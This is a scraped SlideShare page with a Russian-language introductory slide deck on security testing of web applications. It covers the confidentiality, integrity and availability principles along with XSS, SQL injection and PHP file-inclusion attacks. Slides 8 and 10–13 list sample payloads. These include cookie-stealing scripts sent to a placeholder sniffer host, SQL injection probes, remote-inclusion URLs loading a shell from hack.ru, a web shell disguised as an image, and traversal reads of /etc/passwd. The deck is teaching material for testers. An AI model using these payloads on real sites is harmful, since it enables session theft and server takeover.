SlideShare une entreprise Scribd logo
1  sur  14
Тестирование безопасности
  или Security and Access
      Control Testing
Принципы безопасности ПО
 • Конфиденциальность

 • Целостность

 • Доступность
Конфиденциальность
Конфиденциальность - это сокрытие определенных
ресурсов или информации. Под конфиденциальностью
можно понимать ограничение доступа к ресурсу
некоторой категории пользователей, или другими
словами,    при   каких     условиях   пользователь
авторизован получить доступ к данному ресурсу.
Целостность
Целостность - ожидается, что ресурс будет изменен
только соответствующим способом определенной
группой пользователей. Является условием того, что
данные      не      были       несанкционированно
модифицированы при выполнении любой операции
над ними, будь то передача, хранение или
представление.
Доступность
Доступность - состояние информации (ресурсов
автоматизированной информационной системы), при
котором субъекты, имеющие право доступа, могут
реализовывать их беспрепятственно. Как правило, чем
более критичен ресурс тем выше уровень доступности
должен быть.
Основные типы уязвимостей
    Web-приложений
     • XSS injection

     • SQL injection

     • PHP injection
XSS injection
         (Cross Site Scripting)
XSS injection - тип уязвимости интерактивных
информационных систем в вебе. XSS возникает, когда в
генерируемые сервером страницы по какой-то
причине     попадают   пользовательские    скрипты.
Специфика подобных атак заключается в том, что
вместо непосредственной атаки сервера они
используют уязвимый сервер в качестве средства атаки
на клиента.
XSS injection
            (Cross Site Scripting)
                             Примеры:

• <script>alert(‘XSS’)</script>

• <IMG SRC="javascript:alert('XSS');">

• <script src="http://oursite/blabla.js"></script>

• <script>document.location="SNIFFER"+document.cookie</script>

•   <script>img=new Image();img.src="SNIFFER"+document.cookie</script>
SQL injection
SQL–injection - один из распространённых способов
взлома сайтов и программ, работающих с базами
данных, основанный на внедрении в запрос
произвольного SQL-кода.
Внедрение SQL, в зависимости от типа используемой
СУБД и условий внедрения, может дать возможность
атакующему выполнить произвольный запрос к базе
данных, получить возможность чтения и/или записи
локальных файлов и т.д.
SQL injection
                Исходная страница: site.com/index.php?id=1

                                  Примеры:

•   site.com/index.php?id=1 ‘ (Выводит ошибку)

•   site.com/index.php?id=1 blablabla (Выводит ошибку)

•   site.com/index.php?id=2-1(Выводит страницу 1)

•   site.com/index.php?id=1*1(Выводит страницу 1)

•   site.com/index.php?id=1*2(Выводит страницу 2)

•   site.com/index.php?id=1+and+1=1(Выводит страницу 1)

•   site.com/index.php?id=1+and+1=2(Выводит ошибку, или ничего не выводит)
PHP injection
PHP injection - один из способов взлома веб-сайтов,
работающих на PHP, заключающийся в выполнении
постороннего кода на серверной стороне. Потенциально
опасными функциями являются:
eval(),
preg_replace() (с модификатором «e»),
require_once(),
include_once(),
include(),
require(),
create_function().

PHP-инъекция становится возможной, если входные
параметры принимаются и используются без проверки.
PHP injection
           Удалённый инклуд (Remote File Inclusion)
<?php
  if($_GET['page'].'.php')
  {
      include($_GET['page'].'.php');
  }
  else
  {
      include($file.'.php');
  }
?>

• Нет проверки на существование значения $_GET['page']
       http://site.ru/index.php?page=http://hack.ru/shell

• Переменная $file не была определена раннее
      http://site.ru/index.php?file=http://hack.ru/shell
PHP injection
              Локальный инклуд (Local File Inclusion)
<?php
  …
  include("include/$file");
  …
?>

• Под видом картинки заливаем веб-шелл:
http://www.site.com/index.php?include=../forum/images/shell.jpg

• Если знаем движок и структуру приложения, можем
   прочитать конфигурационные файлы:
http://www.site.com/index.php?include=../forum/admin/config.php

• Либо даже так:
http://www.site.com/index.php?include=../../../../etc/passwd
Что почитать по теме?
• XSS (Cross Site Scripting) Cheat Sheet
   http://ha.ckers.org/xss.html

• Много статей по SQL/PHP/XSS-inj с примерами
  http://forum.antichat.ru/thread19610.html

Contenu connexe

Tendances

Тестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях MicrosoftТестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях MicrosoftDmitry Evteev
 
Введение в тему безопасности веб-приложений
Введение в тему безопасности веб-приложенийВведение в тему безопасности веб-приложений
Введение в тему безопасности веб-приложенийDmitry Evteev
 
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...Badoo Development
 
Тестирование уязвимостей веб приложений
Тестирование уязвимостей веб приложенийТестирование уязвимостей веб приложений
Тестирование уязвимостей веб приложенийSQALab
 
Типовые проблемы безопасности банковских систем
Типовые проблемы безопасности банковских системТиповые проблемы безопасности банковских систем
Типовые проблемы безопасности банковских системDmitry Evteev
 
Безопасность веб-приложений: starter edition
Безопасность веб-приложений: starter editionБезопасность веб-приложений: starter edition
Безопасность веб-приложений: starter editionAndrew Petukhov
 
Application security? Firewall it!
Application security? Firewall it!Application security? Firewall it!
Application security? Firewall it!Positive Hack Days
 
Sql инъекции в тестировании
Sql инъекции в тестированииSql инъекции в тестировании
Sql инъекции в тестированииISsoft
 
Практика проведения DDoS-тестирований
Практика проведения DDoS-тестированийПрактика проведения DDoS-тестирований
Практика проведения DDoS-тестированийDmitry Evteev
 
Risspa domxss
Risspa domxssRisspa domxss
Risspa domxssyaevents
 
4.3. Rat races conditions
4.3. Rat races conditions4.3. Rat races conditions
4.3. Rat races conditionsdefconmoscow
 
Как взламывают сети государственных учреждений
Как взламывают сети государственных учрежденийКак взламывают сети государственных учреждений
Как взламывают сети государственных учрежденийDmitry Evteev
 
Лечение мобильных, поисковых редиректов и дорвеев на сайте
Лечение мобильных, поисковых редиректов и дорвеев на сайте Лечение мобильных, поисковых редиректов и дорвеев на сайте
Лечение мобильных, поисковых редиректов и дорвеев на сайте revisium
 
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Безопасность веб-приложений.  Так ли опасна виртуальная угроза?Безопасность веб-приложений.  Так ли опасна виртуальная угроза?
Безопасность веб-приложений. Так ли опасна виртуальная угроза?phpdevby
 
Improving web application defenses against XSS.
Improving web application defenses against XSS.Improving web application defenses against XSS.
Improving web application defenses against XSS.Grid Dynamics
 
ЧатБанк – chatbank.ru от ПАО «Совкомбанк». Андрей Бухтияров, Совкомбанк
ЧатБанк – chatbank.ru от ПАО «Совкомбанк». Андрей Бухтияров, СовкомбанкЧатБанк – chatbank.ru от ПАО «Совкомбанк». Андрей Бухтияров, Совкомбанк
ЧатБанк – chatbank.ru от ПАО «Совкомбанк». Андрей Бухтияров, СовкомбанкБанковское обозрение
 
Безопасность Joomla: мифы и реальность
Безопасность Joomla: мифы и реальностьБезопасность Joomla: мифы и реальность
Безопасность Joomla: мифы и реальностьrevisium
 
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.revisium
 

Tendances (20)

Тестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях MicrosoftТестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях Microsoft
 
Введение в тему безопасности веб-приложений
Введение в тему безопасности веб-приложенийВведение в тему безопасности веб-приложений
Введение в тему безопасности веб-приложений
 
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
 
Тестирование уязвимостей веб приложений
Тестирование уязвимостей веб приложенийТестирование уязвимостей веб приложений
Тестирование уязвимостей веб приложений
 
Типовые проблемы безопасности банковских систем
Типовые проблемы безопасности банковских системТиповые проблемы безопасности банковских систем
Типовые проблемы безопасности банковских систем
 
Безопасность веб-приложений: starter edition
Безопасность веб-приложений: starter editionБезопасность веб-приложений: starter edition
Безопасность веб-приложений: starter edition
 
Application security? Firewall it!
Application security? Firewall it!Application security? Firewall it!
Application security? Firewall it!
 
Sql инъекции в тестировании
Sql инъекции в тестированииSql инъекции в тестировании
Sql инъекции в тестировании
 
Практика проведения DDoS-тестирований
Практика проведения DDoS-тестированийПрактика проведения DDoS-тестирований
Практика проведения DDoS-тестирований
 
Risspa domxss
Risspa domxssRisspa domxss
Risspa domxss
 
4.3. Rat races conditions
4.3. Rat races conditions4.3. Rat races conditions
4.3. Rat races conditions
 
Как взламывают сети государственных учреждений
Как взламывают сети государственных учрежденийКак взламывают сети государственных учреждений
Как взламывают сети государственных учреждений
 
Лечение мобильных, поисковых редиректов и дорвеев на сайте
Лечение мобильных, поисковых редиректов и дорвеев на сайте Лечение мобильных, поисковых редиректов и дорвеев на сайте
Лечение мобильных, поисковых редиректов и дорвеев на сайте
 
penetest VS. APT
penetest VS. APTpenetest VS. APT
penetest VS. APT
 
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Безопасность веб-приложений.  Так ли опасна виртуальная угроза?Безопасность веб-приложений.  Так ли опасна виртуальная угроза?
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
 
Improving web application defenses against XSS.
Improving web application defenses against XSS.Improving web application defenses against XSS.
Improving web application defenses against XSS.
 
ЧатБанк – chatbank.ru от ПАО «Совкомбанк». Андрей Бухтияров, Совкомбанк
ЧатБанк – chatbank.ru от ПАО «Совкомбанк». Андрей Бухтияров, СовкомбанкЧатБанк – chatbank.ru от ПАО «Совкомбанк». Андрей Бухтияров, Совкомбанк
ЧатБанк – chatbank.ru от ПАО «Совкомбанк». Андрей Бухтияров, Совкомбанк
 
DocHolder
DocHolderDocHolder
DocHolder
 
Безопасность Joomla: мифы и реальность
Безопасность Joomla: мифы и реальностьБезопасность Joomla: мифы и реальность
Безопасность Joomla: мифы и реальность
 
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
 

Similaire à Security testing

безопасность веб проектов сергей рыжиков
безопасность веб проектов   сергей рыжиковбезопасность веб проектов   сергей рыжиков
безопасность веб проектов сергей рыжиковMedia Gorod
 
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)Максим Кочкин (Wamba)
Максим Кочкин (Wamba)Ontico
 
Web application security (RIT 2014, rus)
Web application security (RIT 2014, rus)Web application security (RIT 2014, rus)
Web application security (RIT 2014, rus)Maksim Kochkin
 
Информационная безопасность и web-приложения
Информационная безопасность и web-приложенияИнформационная безопасность и web-приложения
Информационная безопасность и web-приложенияMaxim Krentovskiy
 
Тестирование защищенности веб-приложений
Тестирование защищенности веб-приложенийТестирование защищенности веб-приложений
Тестирование защищенности веб-приложенийSQALab
 
Эволюция атак на веб приложения (Evolution of web applications attacks)
Эволюция атак на веб приложения (Evolution of web applications attacks)Эволюция атак на веб приложения (Evolution of web applications attacks)
Эволюция атак на веб приложения (Evolution of web applications attacks)c3retc3
 
Практика использования Solar inCode
Практика использования Solar inCodeПрактика использования Solar inCode
Практика использования Solar inCodeSolar Security
 
Penetration testing (AS IS)
Penetration testing (AS IS)Penetration testing (AS IS)
Penetration testing (AS IS)Dmitry Evteev
 
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...Sigma Software
 
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...Ontico
 
Архитектура защищенного периметра
Архитектура защищенного периметраАрхитектура защищенного периметра
Архитектура защищенного периметраCisco Russia
 
Популярні способи зломів та шахрайські схеми
Популярні способи зломів та шахрайські схемиПопулярні способи зломів та шахрайські схеми
Популярні способи зломів та шахрайські схемиAvivi Academy
 
разработка безопасного кода
разработка безопасного кодаразработка безопасного кода
разработка безопасного кодаAndrey Somsikov
 
Безопасность Drupal сайтов
Безопасность Drupal сайтовБезопасность Drupal сайтов
Безопасность Drupal сайтовEugene Fidelin
 
Е. Фиделин Безопасность Drupal сайтов
Е. Фиделин Безопасность Drupal сайтовЕ. Фиделин Безопасность Drupal сайтов
Е. Фиделин Безопасность Drupal сайтовAlbina Tiupa
 
Безопасность и масштабируемость данных
Безопасность и масштабируемость данныхБезопасность и масштабируемость данных
Безопасность и масштабируемость данныхRuslan Begaliev
 
Особенности проведения тестов на проникновение в организациях банковской сферы
Особенности проведения тестов на проникновение в организациях банковской сферыОсобенности проведения тестов на проникновение в организациях банковской сферы
Особенности проведения тестов на проникновение в организациях банковской сферыDigital Security
 
DUMP-2012 - Веб-разработка - "Что мы знаем о производительности и безопасност...
DUMP-2012 - Веб-разработка - "Что мы знаем о производительности и безопасност...DUMP-2012 - Веб-разработка - "Что мы знаем о производительности и безопасност...
DUMP-2012 - Веб-разработка - "Что мы знаем о производительности и безопасност...it-people
 

Similaire à Security testing (20)

безопасность веб проектов сергей рыжиков
безопасность веб проектов   сергей рыжиковбезопасность веб проектов   сергей рыжиков
безопасность веб проектов сергей рыжиков
 
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
 
Web application security (RIT 2014, rus)
Web application security (RIT 2014, rus)Web application security (RIT 2014, rus)
Web application security (RIT 2014, rus)
 
Информационная безопасность и web-приложения
Информационная безопасность и web-приложенияИнформационная безопасность и web-приложения
Информационная безопасность и web-приложения
 
Тестирование защищенности веб-приложений
Тестирование защищенности веб-приложенийТестирование защищенности веб-приложений
Тестирование защищенности веб-приложений
 
Эволюция атак на веб приложения (Evolution of web applications attacks)
Эволюция атак на веб приложения (Evolution of web applications attacks)Эволюция атак на веб приложения (Evolution of web applications attacks)
Эволюция атак на веб приложения (Evolution of web applications attacks)
 
Практика использования Solar inCode
Практика использования Solar inCodeПрактика использования Solar inCode
Практика использования Solar inCode
 
Penetration testing (AS IS)
Penetration testing (AS IS)Penetration testing (AS IS)
Penetration testing (AS IS)
 
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
 
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
 
Архитектура защищенного периметра
Архитектура защищенного периметраАрхитектура защищенного периметра
Архитектура защищенного периметра
 
Secure development
Secure developmentSecure development
Secure development
 
Популярні способи зломів та шахрайські схеми
Популярні способи зломів та шахрайські схемиПопулярні способи зломів та шахрайські схеми
Популярні способи зломів та шахрайські схеми
 
разработка безопасного кода
разработка безопасного кодаразработка безопасного кода
разработка безопасного кода
 
Безопасность Drupal сайтов
Безопасность Drupal сайтовБезопасность Drupal сайтов
Безопасность Drupal сайтов
 
Е. Фиделин Безопасность Drupal сайтов
Е. Фиделин Безопасность Drupal сайтовЕ. Фиделин Безопасность Drupal сайтов
Е. Фиделин Безопасность Drupal сайтов
 
Безопасность
БезопасностьБезопасность
Безопасность
 
Безопасность и масштабируемость данных
Безопасность и масштабируемость данныхБезопасность и масштабируемость данных
Безопасность и масштабируемость данных
 
Особенности проведения тестов на проникновение в организациях банковской сферы
Особенности проведения тестов на проникновение в организациях банковской сферыОсобенности проведения тестов на проникновение в организациях банковской сферы
Особенности проведения тестов на проникновение в организациях банковской сферы
 
DUMP-2012 - Веб-разработка - "Что мы знаем о производительности и безопасност...
DUMP-2012 - Веб-разработка - "Что мы знаем о производительности и безопасност...DUMP-2012 - Веб-разработка - "Что мы знаем о производительности и безопасност...
DUMP-2012 - Веб-разработка - "Что мы знаем о производительности и безопасност...
 

Plus de MageCloud

How to find the Right Mobile and Cloud Application Development Company for Yo...
How to find the Right Mobile and Cloud Application Development Company for Yo...How to find the Right Mobile and Cloud Application Development Company for Yo...
How to find the Right Mobile and Cloud Application Development Company for Yo...MageCloud
 
First Steps to Mobile Sites and Apps
First Steps to Mobile Sites and AppsFirst Steps to Mobile Sites and Apps
First Steps to Mobile Sites and AppsMageCloud
 
Optimizing Magento for Peak Performance
Optimizing Magento for Peak PerformanceOptimizing Magento for Peak Performance
Optimizing Magento for Peak PerformanceMageCloud
 
Cloud Based Business Application Development
Cloud Based Business Application DevelopmentCloud Based Business Application Development
Cloud Based Business Application DevelopmentMageCloud
 
Three keys to successful banner ads
Three keys to successful banner adsThree keys to successful banner ads
Three keys to successful banner adsMageCloud
 
Two Facets of Great e-Commerce: PPC and Landing Page Best Practices
Two Facets of Great e-Commerce: PPC and Landing Page Best PracticesTwo Facets of Great e-Commerce: PPC and Landing Page Best Practices
Two Facets of Great e-Commerce: PPC and Landing Page Best PracticesMageCloud
 
Yii development
Yii developmentYii development
Yii developmentMageCloud
 
Project lifecircle
Project lifecircleProject lifecircle
Project lifecircleMageCloud
 
Management of projects
Management of projectsManagement of projects
Management of projectsMageCloud
 
Magento ecommerce
Magento ecommerceMagento ecommerce
Magento ecommerceMageCloud
 
Dotnet development
Dotnet developmentDotnet development
Dotnet developmentMageCloud
 
Corporate structure project_team
Corporate structure project_teamCorporate structure project_team
Corporate structure project_teamMageCloud
 
Continuous integration
Continuous integrationContinuous integration
Continuous integrationMageCloud
 
Clientside optimization
Clientside optimizationClientside optimization
Clientside optimizationMageCloud
 
Automated testing
Automated testingAutomated testing
Automated testingMageCloud
 

Plus de MageCloud (20)

How to find the Right Mobile and Cloud Application Development Company for Yo...
How to find the Right Mobile and Cloud Application Development Company for Yo...How to find the Right Mobile and Cloud Application Development Company for Yo...
How to find the Right Mobile and Cloud Application Development Company for Yo...
 
First Steps to Mobile Sites and Apps
First Steps to Mobile Sites and AppsFirst Steps to Mobile Sites and Apps
First Steps to Mobile Sites and Apps
 
Optimizing Magento for Peak Performance
Optimizing Magento for Peak PerformanceOptimizing Magento for Peak Performance
Optimizing Magento for Peak Performance
 
Cloud Based Business Application Development
Cloud Based Business Application DevelopmentCloud Based Business Application Development
Cloud Based Business Application Development
 
Three keys to successful banner ads
Three keys to successful banner adsThree keys to successful banner ads
Three keys to successful banner ads
 
Two Facets of Great e-Commerce: PPC and Landing Page Best Practices
Two Facets of Great e-Commerce: PPC and Landing Page Best PracticesTwo Facets of Great e-Commerce: PPC and Landing Page Best Practices
Two Facets of Great e-Commerce: PPC and Landing Page Best Practices
 
Yii development
Yii developmentYii development
Yii development
 
Testing
TestingTesting
Testing
 
Project lifecircle
Project lifecircleProject lifecircle
Project lifecircle
 
Management of projects
Management of projectsManagement of projects
Management of projects
 
Magento ecommerce
Magento ecommerceMagento ecommerce
Magento ecommerce
 
Graphics
GraphicsGraphics
Graphics
 
Dotnet development
Dotnet developmentDotnet development
Dotnet development
 
Corporate structure project_team
Corporate structure project_teamCorporate structure project_team
Corporate structure project_team
 
Continuous integration
Continuous integrationContinuous integration
Continuous integration
 
Clientside optimization
Clientside optimizationClientside optimization
Clientside optimization
 
Automated testing
Automated testingAutomated testing
Automated testing
 
Amazon
AmazonAmazon
Amazon
 
Agile
AgileAgile
Agile
 
Webdesign
WebdesignWebdesign
Webdesign
 

Security testing

  • 1. Тестирование безопасности или Security and Access Control Testing
  • 2. Принципы безопасности ПО • Конфиденциальность • Целостность • Доступность
  • 3. Конфиденциальность Конфиденциальность - это сокрытие определенных ресурсов или информации. Под конфиденциальностью можно понимать ограничение доступа к ресурсу некоторой категории пользователей, или другими словами, при каких условиях пользователь авторизован получить доступ к данному ресурсу.
  • 4. Целостность Целостность - ожидается, что ресурс будет изменен только соответствующим способом определенной группой пользователей. Является условием того, что данные не были несанкционированно модифицированы при выполнении любой операции над ними, будь то передача, хранение или представление.
  • 5. Доступность Доступность - состояние информации (ресурсов автоматизированной информационной системы), при котором субъекты, имеющие право доступа, могут реализовывать их беспрепятственно. Как правило, чем более критичен ресурс тем выше уровень доступности должен быть.
  • 6. Основные типы уязвимостей Web-приложений • XSS injection • SQL injection • PHP injection
  • 7. XSS injection (Cross Site Scripting) XSS injection - тип уязвимости интерактивных информационных систем в вебе. XSS возникает, когда в генерируемые сервером страницы по какой-то причине попадают пользовательские скрипты. Специфика подобных атак заключается в том, что вместо непосредственной атаки сервера они используют уязвимый сервер в качестве средства атаки на клиента.
  • 8. XSS injection (Cross Site Scripting) Примеры: • <script>alert(‘XSS’)</script> • <IMG SRC="javascript:alert('XSS');"> • <script src="http://oursite/blabla.js"></script> • <script>document.location="SNIFFER"+document.cookie</script> • <script>img=new Image();img.src="SNIFFER"+document.cookie</script>
  • 9. SQL injection SQL–injection - один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL-кода. Внедрение SQL, в зависимости от типа используемой СУБД и условий внедрения, может дать возможность атакующему выполнить произвольный запрос к базе данных, получить возможность чтения и/или записи локальных файлов и т.д.
  • 10. SQL injection Исходная страница: site.com/index.php?id=1 Примеры: • site.com/index.php?id=1 ‘ (Выводит ошибку) • site.com/index.php?id=1 blablabla (Выводит ошибку) • site.com/index.php?id=2-1(Выводит страницу 1) • site.com/index.php?id=1*1(Выводит страницу 1) • site.com/index.php?id=1*2(Выводит страницу 2) • site.com/index.php?id=1+and+1=1(Выводит страницу 1) • site.com/index.php?id=1+and+1=2(Выводит ошибку, или ничего не выводит)
  • 11. PHP injection PHP injection - один из способов взлома веб-сайтов, работающих на PHP, заключающийся в выполнении постороннего кода на серверной стороне. Потенциально опасными функциями являются: eval(), preg_replace() (с модификатором «e»), require_once(), include_once(), include(), require(), create_function(). PHP-инъекция становится возможной, если входные параметры принимаются и используются без проверки.
  • 12. PHP injection Удалённый инклуд (Remote File Inclusion) <?php if($_GET['page'].'.php') { include($_GET['page'].'.php'); } else { include($file.'.php'); } ?> • Нет проверки на существование значения $_GET['page'] http://site.ru/index.php?page=http://hack.ru/shell • Переменная $file не была определена раннее http://site.ru/index.php?file=http://hack.ru/shell
  • 13. PHP injection Локальный инклуд (Local File Inclusion) <?php … include("include/$file"); … ?> • Под видом картинки заливаем веб-шелл: http://www.site.com/index.php?include=../forum/images/shell.jpg • Если знаем движок и структуру приложения, можем прочитать конфигурационные файлы: http://www.site.com/index.php?include=../forum/admin/config.php • Либо даже так: http://www.site.com/index.php?include=../../../../etc/passwd
  • 14. Что почитать по теме? • XSS (Cross Site Scripting) Cheat Sheet http://ha.ckers.org/xss.html • Много статей по SQL/PHP/XSS-inj с примерами http://forum.antichat.ru/thread19610.html